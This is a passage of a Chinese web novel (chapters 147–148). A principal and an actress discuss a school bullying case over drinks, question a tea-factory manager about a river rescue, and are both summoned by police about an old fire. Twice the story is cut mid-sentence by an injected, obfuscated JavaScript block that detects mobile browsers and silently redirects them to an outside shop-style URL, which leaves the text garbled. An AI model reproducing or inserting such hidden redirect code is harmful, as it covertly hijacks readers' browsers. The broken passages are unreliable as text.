「一旦不幸的大多数中有一个学生需要时，这时候，老师必须得在，老师得成为学生最后的这颗救命稻草。」 「一盏明灯存在的意义，不在于每时每刻都要照亮全部的黑暗，而在于，当黑暗里的人需要光明时，此人恰好可以被这盏灯照到。」 「所以，灯盏不在大小，灯光不在强弱，关键在于，这盏灯必须一直亮着，必须一直都在。」 「随时为了照亮某个学生前行的路。」 「时刻准备着。」 「我想，这就是一名教师存在的意义。」 「也是我想做的事情。」 而现在，到了需要他的时刻。 147. 十年灯 转眼已到傍晚，天色渐暗。 容清洛结束一天的录制工作。 她一个人戴上口罩和帽子，在校外随便走走。 看到街边的一排共享单车，她扫了一辆，沿着河道骑行。 不知不觉间，就来到了老街附近。 她将单车停在路边的指定区域，沿着松雅路散步。 走走停停，她在拐角处的一家餐馆门前停下，却并未进去。 就这么站了有一会儿。 忽然，餐馆内有一人走到门口，不知点了什么按钮，店门外装饰用的小灯突然五颜六色地闪烁起来，招牌上“归客”两个大字在夜色里格外显眼。 那人掀开门帘，瞧见站在门口的容清洛，脸上露出惊喜：“是你，你是前几天和程校长一起来吃饭的那位姑娘。” “吕奶奶好。”容清洛浅笑点头。 吕奶奶：“我说程校长怎么今晚不打包了，原来是在等姑娘你呀。快进来吧，程校长已经来了有一会儿了。” “程景逸也在呀……”容清洛喃喃道。 显然这位吕奶奶是误会了什么，并且十分热情好客地将容清洛拉进了餐馆。 程景逸的座位方向朝外，恰好可以看见餐馆的大门。 是以他目睹了吕奶奶将容清洛拉进餐馆并且引到他桌前的全部过程。 这时有其他顾客喊吕奶奶，吕奶奶便让容清洛先看菜单，选好了和她说，然后便转身离开。 容清洛一挑眉，想着来都来了，便十分自然地坐在程景逸的对面。 她取下帽子放在一旁，见程景逸的眼神落在她身上，便道：“程景逸，怎么，现在就这么讨厌我，认定我不是同路人，连和我同桌吃顿饭都不愿意？” 程景逸起身，为容清洛面前的玻璃杯倒满热水，诚恳道：“清洛，对不起，我和你道歉。” “我那天确实说话不好听。言辞间多有冒犯，希望你不要放在心上。” “当然，不让你放在心上不是为了让你原谅我，而是希望你不要气到你自己。” “你如果还是生气，你可以告诉我，有什么能让你消气的方法。” “我不希望你因为这件事情不开心。” 容清洛把口罩取下，端起水杯浅浅喝了一口。 她问道：“我开不开心，很重要吗？” 程景逸：“当然。” 容清洛本想问程景逸，为什么他觉得她开不开心很重要。 这时候吕奶奶来问他们想吃什么，容清洛只能作罢。 二人点了餐，然后便随意地说着闲话。 一时之间，氛围有些微妙。 容清洛其实知道，程景逸并不是一个盛气凌人、控制不了自己情绪的人。 她望进程景逸的眼睛，主动问道：“程景逸，你能告诉我，当时你为什么那么生气吗？” 程景逸顿了顿，措辞道：“我想起了以前学生时代的一些事情。” 容清洛似乎很感兴趣：“什么事？” 程景逸斟酌一番，还是实话实说道：“其实我读高中时，我们学校也发生过类似的霸凌事件。” “当时引发的后果比如今的还严重，我的一个……很好的朋友，由于各种相关人员的不作为，在这件事中很受伤害。” 容清洛原本微垂的眼皮立马抬起。 她握紧水杯的玻璃壁，藏起眼里即将喷涌而出的情绪，小心翼翼地问道：“你那个朋友……现在还好吗？” 程景逸摇头：“我也不知道。” 他自嘲道：“很可笑吧。可我确实不知道。” 程景逸的眉头微微蹙起，声音里罕见地带着些许落寞：“后来发生了一些超出预料的事情，大家就全都失散于人生造化的洪流。” “也许这就是命运。” “宿命的疾风迅雷和暴雨惊涛随时都可能到来，然后一把便将所有人掀翻。” 容清洛安慰道：“其实每个人都有自己的人生际遇。你们虽然失散了，但是也许都各自开启了新的人生，这也并不一定是坏事。” 程景逸的目光变得深远。 只见他浅浅笑起来，然后点头道：“你说得对，只是我常常会有些想她，希望有一天能够再见面。” 容清洛的心仿佛被什么东西轻轻撞了一下。 她努力让自己看起来十分平静，问道：“你这个朋友……是男孩子还是女孩子？” 程景逸没有隐瞒，直接道：“女孩子。” 容清洛：“你这么念念不忘，是……” 程景逸：“我很喜欢她。” 容清洛：“啊？” 程景逸：“看不出来吧。其实我也是等大家都分开后来才发现的，可惜以后就再也没找到她。” 容清洛突然有些磕巴，演技在这一刻全被抛到九霄云外：“这……啊……这……怎么说呢……” 她想起前天晚上和程景逸一起在校园里看星空时听到的话，问道：“程景逸，你之前说，你当老师是因为受到了一个朋友影响，不会就是这个女生吧？” “对。”程景逸叹道，“也不知道她现在是什么职业，其实我都无法确定，她现在是否还在人世。” 吕奶奶很快把菜端上来，二人道谢后便开始吃饭。 程景逸见容清洛的神色似乎对他刚刚说的话大受震撼。 他轻笑道：“没事，都过去了。” “不过也正是因为她遭遇过这些事，所以我十分痛恨那种所谓为了大局、为了脸面而作壁上观，却冷眼看着别人滑向深渊的做派。” 容清洛：“看来我的话是一不小心踩中了你的雷点。” 她解释道：“其实你也误会了。我当时不是要让你置学生于不顾，更不是要让你袖手旁观。” 程景逸：“我后来仔细回想了你说的话，明白你的本意是想要提醒我注意保护自己。” “只是……”程景逸真诚道，“我一直以来的理念都是，如果所有人在守护公义的时候都瞻前顾后、畏首畏尾，那么还有谁来保护这些学生呢？” “如果在一个学生人生的至暗时刻，每个他身边的人都吝啬于给予自己手中的那一点光亮，也许这个学生就会永堕黑暗。这不是我作为老师所愿意看到的。” “此外，我作为一名老师，如果在维护社会公平正义这件事情上都如此畏首畏尾，缩手缩脚，犹豫不决，我如何能教出将来能够坚定不移守护国家、守卫人民的中流砥柱呢？” “国家需要真正的人才，老师的引领和言传身教非常重要。” 容清洛定定地将目光锁在程景逸的身上。 其实，这么多年，程景逸好像一点都没变。 想起自己曾经年少时对程景逸的评价，容清洛莞尔一笑。 「君本少年游侠客，熠熠红尘第一流。」 时至今日，他依然当得起这样的称赞。 程景逸瞧见容清洛浅浅勾起的嘴角，他话语微顿，颇有些不好意思地笑起来：“清洛，可能你会觉得我刚刚这些话很幼稚，但这就是我的真实想法。” “其实这些话我也没和别人说过，刚刚你一问，不知道怎么的，我就全说出来了。” “虽然我只是一名很普通的乡镇高中老师，但我还是有很多想要努力坚守的底线。” “虽然这有些不合时宜。” “什么狗屁的不合时宜。”容清洛扬眉道，“程景逸我告诉你，没有什么不合时宜。” “人想做一番事业，无论是随波逐流，还是坚定本心，都可以。不同的人有不同的选择，每个人都有选择的权力。这是尊重每个人的选择。” “可是我想，这个世界还是有黑白对错之分。究竟什么是对的，什么是错的，很多人不说，但每个人心中恐怕都有一杆秤。” “所谓的合时宜又是合的什么时宜呢？” “有的人合的是外界的时宜，合的是别人的时宜。” “但这个世界一直在变化之中。外界的时宜永远在变化。” “而你，合的是你内心的时宜。” “你就坚持你内心的道，这样就很好。”容清洛轻笑。 而且，会有我守护你。 程景逸眼睛发亮：“你真这样认为？” 容清洛：“程景逸，你知道我最欣赏你什么吗？” “我最欣赏的，就是你有一颗金子般赤诚的心。” “我捐这么多钱，认的可不是学校，我认的是你这个人。” “如今看来，我还是没有看错人。” 容清洛起身去吧台找吕奶奶买了两瓶酒，顺便把饭钱付了。 程景逸见状，说道：“本来还说这顿饭我请，算是赔罪呢。” 容清洛狡黠一笑：“没事，你再去买几瓶酒。我请你吃饭，你陪我喝酒。” 程景逸：“好，你等我一会儿。” 说罢，他果真起身。 不过程景逸却没有往吧台的方向走去，而是走出餐馆。 容清洛一个人将啤酒倒进酒杯，缓缓喝着。 片刻之后，程景逸拎着袋子走进来：“我去隔壁超市买了几瓶果酒。想着这个可能更合女孩子口味。” 容清洛笑：“那我就不和你客气了。” 程景逸将酒瓶在容清洛面前摆了一排， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586989|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豪气道：“随便喝。” 容清洛本以为今天程景逸又会和上次吃饭时一样滴酒不沾，没想到他竟然也拿了一个杯子倒起酒来。 “你……不是不喝酒吗？”容清洛惊讶。 “古人云，白首如新，倾盖如故，诚不我欺。”程景逸，“人生难得一知己，今天能有机会和你在这儿畅谈，当浮一大白。” 二人推杯换盏地喝起来。 饭菜没吃多少，酒倒是喝下肚不少。 容清洛晃着酒杯里的酒，说道：“程景逸，你知道吗？其实我见过很多有才的人。” “这个世上，有点儿才华的人真的太多了。” “这么说吧，厉害的人数不胜数，就和这白米饭一般，哪个餐馆都有。” “但是真正有德行的人，相较而言，就不太多了。就像是一些特色招牌菜，不是每家店都有，但一旦有了，就会是这家店的擎天之柱、定海神针。” 程景逸点头：“有理。” 容清洛掰着手指头细数：“其实像你，脾气委实不算好。都三十岁了，还有着少年人的冲动、莽撞。” 她痛心疾首：“程景逸，你这样不行啊，真的很容易得罪人，给你自己埋下隐患。我很不喜欢这一点。” 程景逸听着容清洛数落他的缺点，端起酒杯和她轻碰一下：“那我在这里给你赔罪。” 说完，他将杯中酒一饮而尽。 容清洛无奈笑道：“我说这个可不是为了让你给我赔罪的。” “你如果这般想，可就枉费了我说这番话的良苦用心。” “程景逸，你是有才之人，也是有德之人。”容清洛说道。 程景逸为容清洛添酒：“你这样夸我，真叫我受宠若惊。” 容清洛：“但是你的才还不够，配不上你的德。” “你明白我的意思吗？” 程景逸摇头：“愿闻其详。” 容清洛话锋一转：“人无完人。圣人尚且不能做到完全无过，更何况我等普通人。” “你虽然不够圆滑，甚至有时候很天真，但是你身上也有着其他人所没有的热忱与侠气。” “你不求财，不求名，也不求利。你愿意为了不能给你带来利益的那些弱小之人去对抗邪恶和不公正，哪怕付出巨大的代价，也在所不惜。” 就像当年帮助弱小的她一般。 程景逸不由得笑道：“你这说的是我吗？” 容清洛：“当然是你呀。” 程景逸难得露出些腼腆：“说的我都有些惭愧了。我还是有很多地方都做得不好。” 容清洛：“你明白这一点就好。” 程景逸微怔。 容清洛沉下眉眼，眼神中露出一丝严肃与狠厉：“程景逸，你的才华和能力目前配不上你的德行。” “你现在无法伸张你理想中的正义，这就是最好的例证。” 听到这话，程景逸将自己的酒杯满上，举杯一饮而尽，苦笑道：“有点扎心。” 容清洛的目光变得悠远：“程景逸，那你就努力提高自己的才干吧，不仅仅是专业能力，更是领导能力、管理能力、社交能力。” “你一定要在你的这个位置上坚守住。” “德才兼备的人就更应该逼自己一把，你要比那些光有才却无德的人更适应社会的规则。” “只有这样，你才能承担起你的责任，让你自己和你周围的人、甚至整个社会，都变得更好。” “你才能真正成为你学生的引路人，成为一盏不灭的明灯，熠熠生辉，照亮他们前行的路。” “你想点亮别人，首先你自己不能熄灭。” “执教者，责任重大。如果人人只把老师当作一个混饭吃、图稳定的工作，全然不顾对学生的培养和引导、关爱与呵护，学生皆畏惧学校、憎恶学校，这对国家的人才培养无疑是潜移默化的腐蚀，在这样不负责任的老师和无知作恶的同学的共同攻击下，有多少人才流失，有多少具有潜力的天才就此陨落。这对国家的发展也是巨大的损失。多少人的命运毁在这些老师和学生的愚昧无知中。许多的恶行都是无知愚昧者的狂欢。如何让这些愚昧无知、自大狂妄的人知道天之高、地之厚，知道德行之重、文明之底蕴、天道之威严，这也是教育非常重要、不可或缺的一堂课。” “也许终有一日，教育可以真正培养出一批持正心、守正念的人，他们既有良善之念、亦有霹雳手段，是德才兼备的人才，能真正彻底地改变社会风气，引导人们树立正确的观念，为民族复兴、国家腾飞贡献力量。” “这是我对你的期许，我觉得你可以。” 148. 十年灯 而且，我会帮你的。 容清洛在心里默默道。 程景逸若有所思：“清洛，我突然觉得，你才应该来当老师。” 容清洛但笑不语。 谁说不是呢？ 成为一名为学生撑伞的老师，这可是她年少时的梦想。 可惜，已经难以实现了。 但如今，看着程景逸走在这条路上，越走越远，她就像看到了一个没有走岔路的自己。 她命运的另外一种可能，应该就是程景逸现在的样子吧。 我掷千金，酬君一笑。 酬的何尝不是曾经那个壮志未酬的自己。 容清洛希望，能有人承袭她过去的梦想。 而程景逸做到了。 那么，她会期盼着，他走得更远、更长久。 程景逸郑重地起身，为容清洛倒上满满一杯酒：“清洛，今日多谢你教我。” “我之前误会你，实在是有眼不识泰山。” “能遇到你，是我之幸。今后我如果还有不足的地方，还望你能像今天这般直言不讳。” 容清洛和程景逸碰杯，由衷道：“能遇到你，也是我之幸。” 程景逸只当容清洛是客气，摇头笑笑。 两人又闲聊一阵，看时间差不多了，便准备走。 容清洛的口罩不小心被酒水打湿，她便只能把帽檐压低，没再戴口罩。 见容清洛拿起包就准备走，程景逸出声道：“等等。” 容清洛：“怎么了？” 程景逸从兜里拿出一个口罩：“我有。” 他撕开包装，将口罩轻柔地挂在容清洛耳朵上，端详一番说道：“还是戴上比较保险。” 容清洛有些发愣。 她好像真的喝醉了。 容清洛捂着心口往餐馆外走去，脚步仿佛踩在七彩云朵上。 走到门口时，程景逸的余光瞥见旁边的桌子，电光火石之间突然想起些什么。 他拉住大步向外走去的容清洛。 容清洛疑惑扭头，耳朵还有些红：“怎么了？” 程景逸倒是没察觉到异常，他极快地松手，然后指着桌子认真问道：“你记得咱们上次来的时候，你偷听这桌人聊天吗？” 容清洛低头小声吐槽道：“这种事就不要总提了吧……” 程景逸说出自己刚刚意外的发现：“我猛然想起来，那个说从河里捞出什么东西的人，我今天白天才见过。” 容清洛有些好奇：“是谁呀，你在哪里见的？” 程景逸挑眉道：“是祥云茶厂的孔厂长。我上午有点事情去那边，刚好见到的，还看了一场好戏。” 容清洛疑惑：“什么好戏？” 程景逸：“祥云茶厂和飞鸿钢铁厂确实有恩怨。而祥云茶厂的这个孔厂长，他知道周家父女如今的遭遇。他说周爸爸被打是因为想为祥云茶厂讨说法，才被飞鸿钢铁厂的人报复。可是，有关周家父女的遭遇，周家人明明是对外保密的。” “祥云茶厂……等等，茶厂？你是说茶厂？”容清洛惊愕地瞪大眼睛。 她看了看四周都在吃饭和交谈的人，凑近程景逸，小声道：“你的意思是，那天晚上坐在这儿喝酒的人是那个茶厂的厂长，并且很有可能就是这个厂长把周佑雨和周爸爸从河里捞起来的？” 程景逸点头：“对。我就是这么猜测的。” 容清洛提醒道：“但是做事情不能光凭猜想，有什么证据能证明吗？” 程景逸打了个响指：“所以我们要找他验证一下。” 容清洛：“可以。不过，你有他联系方式吗？” 程景逸示意容清洛看向餐馆里的吧台：“咱们可以问问吕奶奶。” 吕奶奶这会儿正在吧台后打电话，面前放着一份打包好的饭菜，她对着话筒对面的人说道：“……行，言言，你快来，我已经做好了，你直接给孔叔叔送过去。” 她刚放下话筒，便瞧见程景逸二人去而复返。 吕奶奶站起身，问道：“程校长，是有什么东西落下了吗？” 程景逸笑：“不是的，吕奶奶。我是有点事情想问下您。” 吕奶奶：“您说。” 程景逸：“您还记得周一晚上我们俩在这儿吃饭时，坐在门口的那一桌人吗？” 吕奶奶摇头：“每天顾客来来去去，您如果这么问，我还一时真想不起来。您找他们有什么事情吗？” 程景逸：“确实是有一点私事。吕奶奶，那一桌里面当时有一个人叫孔经荣，他是祥云茶厂的孔厂长，您有印象吗？” 吕奶奶仔细回忆道：“我想想啊，周一晚上……姓孔的顾客倒是有，可他是不是厂长我就不知道了。” “程校长，您说的那个人是不是国字脸，中等个子，四十岁左右，略微秃顶，戴副眼镜，皮肤还挺白的。” 程景逸点头：“对，大概就是您描述的这个样子。您认得他吗？” 吕奶奶：“这是小孔，店里的老主顾了。他周一晚上就坐在门口那儿，和朋友喝酒喝到好晚。” “您找他的话，这不是巧了吗，”她指着吧台上放着的袋子，说道，“待会儿言言来，就是要把这份饭菜送到小孔家里。程校长，如果您找小孔，可以待会和言言一起去。” “这太好了，谢谢您。”程景逸，“对了，吕奶奶，这位孔先生的电话可以给我一个吗？” 吕奶奶：“当然可以。您稍等，我找一下号码。” 等待吕正言的过程中，容清洛问程景逸：“你如今的调查有什么进展？” 程景逸：“我今天可是忙了一整天。上午去找警官询问周佑雨曾经报警的事。下午分别找张静思、杨瑾菲、朱吴毓、卢芒进行谈话。快傍晚的时候又跟着吕正言去了几个可能知情的同学家里了解情况。如今基本已经确定，杨瑾菲、朱吴毓、卢芒三人从高一开学开始就一直对周佑雨进行霸凌。周佑雨曾经报过警，但是在张副校长等人的操作下，不了了之。” 容清洛：“你准备怎么办？” 程景逸：“我已经让张静思、杨瑾菲、朱吴毓、卢芒这几个涉事同学都先回家了，她们不再继续参加综艺录制。对了清洛，我和节目组工作人员说的原因是她们暑假临时另有安排，你可千万别在节目组说漏嘴了，还是要保护一下学生们。” “你放心，”容清洛犹豫一二，还是问道，“有遇到什么困难吗？” 程景逸：“和这几个涉事学生以及她们的家长沟通的过程其实都不太顺利。当初周佑雨报警的事情被压下来，就是因为这些学生的父母都在包庇，而且学生也都不觉得自己做错了。我其实也挺心痛、挺无奈的，因为我本来是想让他们改邪归正，走回正路的。看来你说的没错，我果然是才干还不够。” 他摇头轻叹，然后又道：“其实今天晚上我本来就想在归客买醉。刚好碰到你，倒不能说是我陪你喝酒了。” 容清洛笑道：“那下次你再陪我喝一顿。” 程景逸准备说些什么，这时候吕正言走进餐馆。 他见到两人很高兴地问好：“程老师好，容老师好。” 吕奶奶给吕正言交待一番。 吕正言这才明白自己这一趟不仅是送外卖，也是给老师们带路。 他点头：“没问题，交给我。” *** 孔经荣的茶厂出现问题已经不是一天两天，所以他早就打算换个地方混。 孩子的暑假一到，他就把妻儿送到省城云市。 如今只等把茶厂剩下的事宜解决掉，他就准备离开青山镇，离开西华市。 是以今晚只有他一人在家，打电话到常吃饭的归客餐馆点了份饭菜，便摊在沙发上沉思。 听到敲门声响起，孔经荣起身：“来了。” 打开门，他见到的却不只有餐馆老板的小外孙。 望着吕正言身后的陌生男女，孔经荣心里警惕起来，立马就想把门关上。 程景逸眼疾手快地将门抵住：“孔厂长您好，我是正宁中学的校长程景逸。我们绝对没有恶意，今天来是想向您了解一些情况。请问我们可以和您聊一聊吗？” 孔经荣：“程校长你好。可是我儿子还在读小学，我们之间实在是没什么可聊的吧？” 程景逸：“我们想聊的事和您的茶厂有关。” 孔经荣：“怎么，难道程校长有兴趣接手茶厂？” 程景逸挑眉：“也不是没这个可能，不过这要看我们聊的怎么样。” 孔经荣毕竟是一厂之长，虽然谨小慎微，到底不是胆小之辈。 他审视地打量程景逸一番，最终将门打开：“有话进来说吧。” 程景逸接过吕正言手中打包好的餐盒，对他说：“正言你先回家吧。” 吕正言点头，乖巧转身离开。 孔经荣抓起早就放在玄关柜子上的饭钱，喊住吕正言，把钱给他。 几人这才进屋。 孔经荣坐在餐桌前打开饭盒，一面吃饭，一面道：“说吧，想问什么？” 程景逸：“孔厂长，你们厂的会计周承，他女儿周佑雨是我们学校的学生。我们调查到，周佑雨和她爸爸在上周四被飞鸿钢铁厂的人殴打后丢进河里，当时是您救的他们，所以想来了解一下当时的具体情况。” 孔经荣正在夹菜的手一顿，好笑道：“周承是我们厂的会计没错。他女儿好像也是叫佑雨。他被打也确实是实情。但是，是我救的他们吗？我怎么不知道？” 程景逸刚刚在餐馆和吕奶奶聊了一会儿，得知孔经荣常常提着装满鱼的水桶到店里让吕奶奶做鱼。 想起周佑谷曾经说过，她是在小清河西岸的一个地方找到周爸爸和周佑雨的。 程景逸决定诈一诈孔经荣。 程景逸：“您的船停靠在小清河西岸时，被人看见了。” 孔经荣猛地抬头。 程景逸：“孔厂长，我们没有恶意。只是因为周佑雨是我们学校的学生，学生遭难，我们不能不管，所以才想来调查，然后给予学生帮助。如果您有什么顾虑，可以告诉我们，我们一起想办法。” 孔经荣：“还有谁知道是我救了他们？” 程景逸：“只有我们两人。” 孔经荣看向容清洛：“你为什么戴口罩？你是谁？” 容清洛：“我是……” 程景逸接过容清洛的话头：“孔厂长，这位是暑期来我们学校支教的老师，她很快就会离开青山镇，自然不会向别人透露你的事情。” 孔经荣：“那她今天怎么也会来？” 程景逸正想着应该怎么解释，毕竟容清洛是公众人物，还是不要随便透露她的真实身份。 这时，容清洛突然道：“大叔，其实我是程景逸的女朋友，我们异地恋很久了。他这个人爱学生如命，下班了还天天想着学生、想着学校，我好不容易借着暑假的机会来找他，他还一天到晚往外跑，我气不过。” “我也不怕您笑话，今天是我们在一起的三周年纪念日，我特意准备了烛光晚餐，想给他一个惊喜。结果他死活要出门，我们便吵了一架。我跟过来，就是想看看究竟是哪个小妖精抢走了我男朋友……”容清洛声泪俱下道，“至于戴口罩，因为他打了我一下……呜呜呜……” 孔经荣：“那他刚刚怎么说你是支教老师？” “说到这个我更生气了！”容清洛控诉道，“我们在一起这么久，您看他刚刚都不敢和您说我是他女朋友，连名分都不给，我真是……唉……” 容清洛就仿佛是打开了话匣子吐槽男友的小女生终于找到了倾诉之人，演技逼真到孔经荣都向程景逸投去一抹不赞同的眼神。 孔经荣皱眉：“程校长，工作是很重要，但是老婆更重要呀。而且即便再吵架，你一个大男人，怎么能动手打女人呢？退一万步讲，就算你动手，怎么能往人姑娘家的脸上招呼呢？女孩子的脸蛋有多珍贵，你不知道吗？” 瞧着程景逸突然吃瘪，容清洛破涕为笑：“大叔，谢谢你帮我说出了我想说的话。” 孔经荣轻叹：“也罢，我可以告诉你们我知道的事情，但是你们要保证，绝不会告诉别人是从我这里知道的。” 程景逸点头：“我保证。” 孔经荣看向程景逸身旁的容清洛。 容清洛也点头保证道：“我才不会跟别人多嘴呢。” 她指了指程景逸：“我只在乎他，其他的都是左耳进右耳出。” 孔经荣便向两人讲起上周四晚上的经历。 *** 孔经荣从小就住在江边，水性很好，他对青山镇的这条江很有感情。 他心情不好时，就喜欢网鱼。 但是现在是禁渔期，他只能悄悄地在夜里开条船到江上网鱼。 最近茶厂的烦心事多，孔经荣这天晚上便又将自己的船开着，洒下网后，便在江心吹风。 大概十点钟左右，孔经荣收网。 凭借着经验，他觉得这次肯定收获颇丰，像是几条大鱼。 只是令他大惊失色的是，随着一点一点的收网，他竟然在水里看见两个人。 正是夜深人静的时刻，夏夜的风清清爽爽，孔经荣额间的汗珠一下子就滴落下来。 也不知道这两人是死是活，但是也不敢就这样见死不救，孔经荣费了九牛二虎之力将这一男一女从河水中拉到船上。 瞧见两张脸的时候，孔经荣惊出一身冷汗。 这不是他厂子里的周会计和他那个宝贝闺女吗？ 两人浑身上下湿漉漉的，孔经荣小心翼翼地伸着手去探两人的鼻息。 还有呼吸。 虽然那呼吸很微弱，但是起码说明两人还活着。 孔经荣连忙为两人清除口腔内的污水和异物，并且不断使劲儿地用手快速拍打两人的后背，保持他们的呼吸道通畅。 待两人都咳出水来，孔经荣瘫坐在船上。 他拿出手机准备报警，突然想起周会计曾经说过要替厂子讨回公道。 可如今见到周承的模样，想到可能下手的人，孔经荣神色几变。 正在孔经荣犹豫间，他忽然听见寂静的夜里不断地传来震动声。 孔经荣的汗毛都竖起来了，他循着声音在船上四处搜寻，最后发现是这女娃手腕上戴着的电话手表在响。 屏幕上显示着两个大字——“姐姐”。 孔经荣记得，周承曾经提过，他有一对双胞胎女儿，和妻子离婚后，他和妻子一人带着一个女儿。 难道这个“姐姐”就是他另一个女儿？ 孔经荣颤抖着手接通，对面传来一个年轻女娃焦急的声音。 这女娃的关心和焦急不像是作假，孔经荣连忙告诉对方这边的情况，让她过来接两人。 最后那女娃在电话那头叮嘱道：“叔叔，请您先不要报警，您救的是我爸爸和妹妹，请先等我去确定情况。” 孔经荣满口答应。 这样，就不算是他主动不报警的吧，是家属要求的。 孔经荣一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586990|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面把船往河岸边开，一面在心里思考。 周家父女如今肯定是被人盯上了。 但是现在这个情形，要是这俩人有什么事，他就是最大的嫌疑人。 孔经荣把船停在刚刚和那女娃约定的地方，然后将船上的两人抱下船，放在岸上。 在等待的时候，孔经荣越想越心惊。 天知道他只是来网个鱼。 不行，他不能在岸边等着刚刚打电话的那个女娃过来。 万一待会儿那女娃带着一群人来，他不就要交代在这里了！ 但是他又不能就这样丢下这俩人，这荒郊野外的，太容易出事了。 他就这样离开，良心不安呐。 孔经荣上船翻出口罩给自己戴上，又拿出杀鱼的刀给自己壮胆，就这样守在两人身边。 在等待的过程中，孔经荣的心里仍然直打鼓。 当他心里的不安上升到一个顶峰的时候，那个女娃的电话手表又响了，屏幕上仍然显示来电人是“姐姐”。 孔经荣接通后听到刚刚那女娃的声音：“叔叔我们来到江边了，您在哪里，我爸爸和妹妹怎么样了？” 孔经荣听到远处传来汽车引擎的声响，笔直的灯光打过来，在黑夜里十分醒目。 平原上，看着那车很近，其实开过来还需要些时间。 孔经荣连忙快速回复道：“还有呼吸，但是情况不是很好，要尽快送医院，你沿着河道一直开，在广告牌这儿停，再往河边走就能看到他们。” 说完，他把通话中断，然后便飞速跑回船上，迅速将船开走了。 *** “那天晚上发生的事情就是这样。”孔经荣说道，“应该就是飞鸿钢铁厂的人搞的鬼。” 程景逸：“孔厂长，您知道周承究竟想干什么吗？您明明才是厂长，为什么飞鸿钢铁厂的人不找您，反而找一个小小的会计呢？” 孔经荣：“小周可不仅仅是会计，他当年可是省农业大学的高材生，你想想那个年代的大学生，都是有真才实学的人。我们厂好多事他都很了解，技术改进他也都有参与。所以他对这个茶厂很有感情。” “我手上有一些飞鸿钢铁厂乱排污水的证据。可我实在是不想继续耗在青山镇了，我就想赶紧把茶厂转手，然后换个地方重新开始。” “但是小周还想再试试，看看能不能把茶厂救回来，就问我要了那些证据。不过他具体做了什么我也不知道，不过想来他应该是抓住了飞鸿钢铁厂的软肋，不然钢铁厂的人也不可能这般不顾后果地行事。” 从孔经荣的家里走出，程景逸给周佑谷和池和安二人打了个电话。 因为答应了孔厂长不要把他供出来，所以程景逸在将事情告诉二人时，只说他通过一些特殊的渠道，得知周爸爸应该是因为有飞鸿钢铁厂乱排污水的证据并且想为茶厂讨回公道，所以才会被飞鸿钢铁厂针对。 他建议二人可以找一下这些证据，也许能发现新线索。 *** 劳累的一天终于结束，但也收获颇丰。 事情的真相一点一点地浮出水面，解决似乎也指日可待。 第二天，也就是周五一早的时候，程景逸和容清洛却分别接到一通电话。 程景逸正在吃早饭，突然手机铃声响起，看到屏幕上的号码，他接起。 对面：“你好，这里是南庐市公安局，请问是程景逸先生吗？” 程景逸有些奇怪：“我是，请问有什么事情吗？” 对面那人说道：“十五年前在我市南山森林公园发生过一场火灾，程先生当时在场。这场火灾涉及到我们最近正在调查的一个旧案，可以请你到警局一趟吗，我们需要了解一些情况。” 南山森林公园。 那里可不是一个充满美好回忆的地方。 程景逸沉默片刻，才道：“可以，但是我现在不在南庐市，可以等明天吗？” *** 另一边，容清洛正在化妆。 由于这档综艺不让艺人带助理和化妆师，她只能自己化妆。 正在镜子前忙碌着，原本放着音乐的手机突然响起来电铃声。 容清洛接通电话。 电话对面传来声音：“您好，请问是容清洛女士吗？” 容清洛：“您好，请问您是哪位，有什么事吗？” “这里是南庐市公安局，”电话另一边的人这样说道，“我们查到，容女士你在七月初的时候到过南庐市南山森林公园的文笔峰翠屏岩，并且去了崖下新建的林场。我们有一些事情想要和你了解一下，你这两天如果有时间，可以到警局一趟吗？” 容清洛皱起眉头，眼底幽深一片。 不过她开口时却是语气温柔：“好，那就明天吧，我现在不在南庐市。” *** 陈宫：“怎么突然要离开青山镇？” 容清洛正在坐车前往西华市机场的路上，她言简意赅道：“有点非走不可的急事儿，和邱导请假了。你放心，这几天舞蹈教师比较饱和，走我一个，不会耽误节目组的拍摄。昨天来的那个飞行嘉宾是舞蹈学院毕业的，学古典舞，她可以和高风一起带舞蹈课。” 陈宫：“好吧，你心里有数就行。需要我把汪汪派过去帮你忙吗？” 容清洛：“没事，我自己一个人就行。” 陈宫：“好，那有事随时和我联系。清洛，我是你经纪人，不管什么事，我都会站在你这一边的。” 容清洛：“谢谢宫姐。” *** 程景逸和宋民副校长以及吴焕晗老师分别打了一个电话，交待工作事宜，说自己这几天可能因为一些私人原因不在青山镇，学校工作就一切拜托给他们。 吴焕晗挂断电话时有些疑惑：怎么一个个的这几天都不在？ 她连忙给容清洛发信息。 吴老师：「号外号外，我们程校长也因私人原因要离开青山镇几天。」 容清洛正在机场百无聊赖，于是秒回。 洛河头子：「什么意思？他去哪儿你知道吗？」 吴老师：「不知道。他不会和你是同一个原因吧……」 洛河头子：「不太妙的样子。」 吴老师：「祝你好运。」 *** 程景逸这次没拿什么行李，只背了一个包。 并且因为比较着急，他没有定高铁票，而是打了个飞的。 在机场，他见到一个背影，总觉得很像容清洛。 但是想到容清洛这个时间点应该正在录制综艺，他摇头轻笑，看来这几天发生的事情实在太多，他没休息好，以至于都出现了幻觉。 飞机很快从云庆省西华市抵达江省南庐市。 程景逸没有回程宅，而是选择先去南山森林公园一趟。 站在森林公园的山脚，看着秀美的湖光山色，程景逸一时间思绪万千，内心百味陈杂。 // 『你替我完成年少梦想，熠熠生辉。』 『我为你守护雪胎梅骨，不染俗尘。』 『十丈软红尘，我有万里锦绣名，却都不及你，澹泊明志，高山仰止。』 